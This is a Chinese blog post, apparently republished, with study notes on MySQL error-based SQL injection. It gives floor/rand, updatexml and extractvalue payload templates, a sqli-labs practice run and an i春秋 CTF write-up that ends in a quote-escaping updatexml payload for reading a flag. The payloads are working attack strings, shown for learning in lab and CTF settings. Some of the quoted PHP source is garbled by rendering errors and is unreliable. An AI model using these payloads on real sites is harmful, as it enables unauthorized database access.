sqlmap报错注入

sqlmap报错注入0x00背景学习记录一下报错型的注入,经各方整理和自己总结形成。所有的注入原理都是一样,即用户输入被拼接执行。但后台数据库执行语句产生错误并回显到页面时即可能存在报错注入。0x01概念报错型注入的利用大概有以下3种方式:复制代码1:?id=2’and(select1from(selectcount(*),concat(floor(rand(0)*2),(select(…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

0x00 背景
学习记录一下报错型的注入,经各方整理和自己总结形成。

所有的注入原理都是一样,即用户输入被拼接执行。但后台数据库执行语句产生错误并回显到页面时即可能存在报错注入。

0x01概念
报错型注入的利用大概有以下3种方式:

复制代码
1:?id=2’ and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (查询语句))
from information_schema.tables limit 0,1))x from information_schema.tables group by x )a )–+
2:?id=2’ and updatexml(1,concat(0x7e,(SELECT 查询语句),0x7e),1)–+
3:?id=1’ and extractvalue(1, concat(0x7e, (select 查询语句),0x7e))–+
复制代码
对于1的分析:

复制代码
floor()是取整数 rand(0)*2将取0到2的随机数
floor(rand()2)有两条记录就会报错
floor(rand(0)2)记录需为3条以上,且3条以上必报错,返回的值是有规律的
count(
)是用来统计结果的,相当于刷新一次结果
group by 对数据分组时会先看看虚拟表里有没有这个值,若没有就插入,若存在则count(
)加1
group by 时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次
对于count()、rand()、group by 三者同时存在为什么会报错可以参考乌云tsafe的文章
复制代码
对于2的分析:

复制代码
函数的形式为:UPDATEXML (XML_document, XPath_string, new_value);、
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值,即改变XML_document中符合XPATH_string的值
而我们的注入语句为:updatexml(1,concat(0x7e,(SELECT 查询语句),0x7e),1)
concat()函数是将其参数连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误导致错误信息返回。
复制代码
对于3的分析:

复制代码
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串).
作用:从目标XML中返回包含所查询值的字符串

而我们的注入语句为:extractvalue(1, concat(0x7e, (select 查询语句),0x7e))
同2一样因为不符合XPATH_string的格式所以会报错
复制代码
0x03 实践
以sqli lab作为测试

?id=1’时:

?id=1’%23时:

带入上面的payload:

可以看到通过xmlupdate成功通过报错信息将数据库名显示出来了,接下来再依次按照求表、列的步骤进行

0x04 CTF实例
i春秋百度杯十月VId

这里省略信息收集,直接到SQL注入的部分

这里只有一个登录框,贴出源代码:

复制代码
1 <?php
2
3 require_once ‘dbmysql.class.php’;
4 require_once ‘config.inc.php’;
5
6 if(isset(KaTeX parse error: Expected ‘EOF’, got ‘&’ at position 20: …T[‘username’]) &̲& isset(_POST[‘password’]) && isset($_POST[‘number’])){

7 $db = new mysql_db();
8 $username = d b − > s a f e d a t a ( db->safe_data( db>safedata(_POST[‘username’]);
9 $password = d b − > m y m d 5 ( db->my_md5( db>mymd5(_POST[‘password’]);
10 n u m b e r = i s n u m e r i c ( number = is_numeric( number=isnumeric(_POST[‘number’]) ? $_POST[‘number’] : 1;
11
12 u s e r n a m e = t r i m ( s t r r e p l a c e ( username = trim(str_replace( username=trim(strreplace(number, ‘’, $username));
13
14 s q l = ” s e l e c t ∗ f r o m ” . ” ‘ ” . t a b l e n a m e . ” ‘ ” . ” w h e r e u s e r n a m e = ” . ” ′ ” . ” sql = “select * from”.”`”.table_name.”`”.”where username=”.”‘”.” sql=selectfrom..tablename..whereusername=..username”.”’”;
15 $row = d b − > q u e r y ( db->query( db>query(sql);
16 $result = d b − > f e t c h a r r a y ( db->fetch_array( db>fetcharray(row);
17 if(KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: … 18 if(result[“number”] === $number && $result[“password”] === $password){

19 echo “”;
40 }
41 ?>
复制代码
safe_data()定义:

1 public function safe_data(KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: … stripcslashes(value);
4 }
5 return addslashes($value);
6 }

username在被传入之后首先被safe_data()转义,再被str_replace()处理去掉里面包含的number数字和空格,最后执行sql查询。在这里sql查询语句虽然也有拼接输入,但是需要闭合掉单引号。可是username在一开始加上单引号的话在被传入的时候就会被加上反斜杠。

读了i春秋论坛的writeup才明白可以这样构造:

Number=0&username=test%00’%23
Username经过转义变成test\0\’%23
然后替换操作 变成 test\’%23
单引号逃逸出去,同时因为用了trim所以不能使用空格来分割字段,可以使用+来连接。
最后构造的username为:

username=admin%00’+and+updatexml(1,concat(1,(select+*+from+flag+limit+1),1),1)%23
这里只能获取32位长度,要想获取完整的flag还需使用substr函数

0x05总结
这里只用了updatexml作为例子,其余2个原理都是一样的。

同时对于sqli lab的练习使用这一类注入手工速度很慢,接下来可以考虑写一个自动化的脚本。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/187698.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • ireport使用教程_layout怎么导入图片

    ireport使用教程_layout怎么导入图片ireport插入图片1.在模板上拖一个image组件,设置它的image Expression为变量$P{logo},如图示,属性下面的is lazy勾上。  不然有可能最后页面渲染出来的image的src为nullimage_0_0_0。2.给变量logo的值。  StringbasePath=request.getScheme()+”://”+requ

  • 深入理解MySQL索引设计和优化原则[通俗易懂]

    深入理解MySQL索引设计和优化原则[通俗易懂]索引类型探讨索引设计和优化原则之前,先给大家熟悉一下索引类型:主键索引PRIMARYKEY:它是一种特殊的唯一索引,不允许有空值。一般是在建表的时候同时创建主键索引。唯一索引UNIQUE:唯一索引列的值必须唯一,但允许有空值。如果是组合索引,则列值的组合必须唯一。创建命令:ALTERTABLEtable_nameADDUNIQUE(column);普通索引INDEX:最基本的索引,它没有任何限制。创建命令:ALTERTABLEtable_nameADDINDEXi..

  • labelme图像标注_ai标注工具

    labelme图像标注_ai标注工具参考:https://blog.csdn.net/u011574296/article/details/79740633在做目标检测任务时,需要用到labelImg进行画框标注,在之前的文章中已经介绍过该工具的使用方法。然而如果是做语义分割的任务时,就不能只是标注框里,需要用另外一种工具labelme进行标注,本文对该工具的安装使用方法进行介绍。官方教程:https://github.co…

  • imx6 添加matrix keypad

    imx6 添加matrix keypadfreescale增加matrixkeypad1.添加设备树,imx6有矩阵键盘功能,支持8*8的键盘kernel_imx/arch/arm/boot/dts/imx6qdl.dtsi/*addedbyyue.zhong*/#include//键值定义的地方,这是一个链接文件,指向kernel_imx/include/dt-bindings/input/i

  • redis 第二章:redis-desktop-manager的使用和jedis的使用[通俗易懂]

    redis 第二章:redis-desktop-manager的使用和jedis的使用[通俗易懂]redis 第二章:redis-desktop-manager的使用和jedis的使用

  • ip addr详解[通俗易懂]

    ip addr详解[通俗易懂]Windows上查看IP地址是ipconfig,Linux上是ifconfig,但是Linux上还有一个命令叫ipaddr可以查看IP地址。ipaddr1:lo:<LOOPBACK,UP,LOWER_UP>mtu65536qdiscnoqueuestateUNKNOWNqlen1link/loopback00:00:00:00:…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号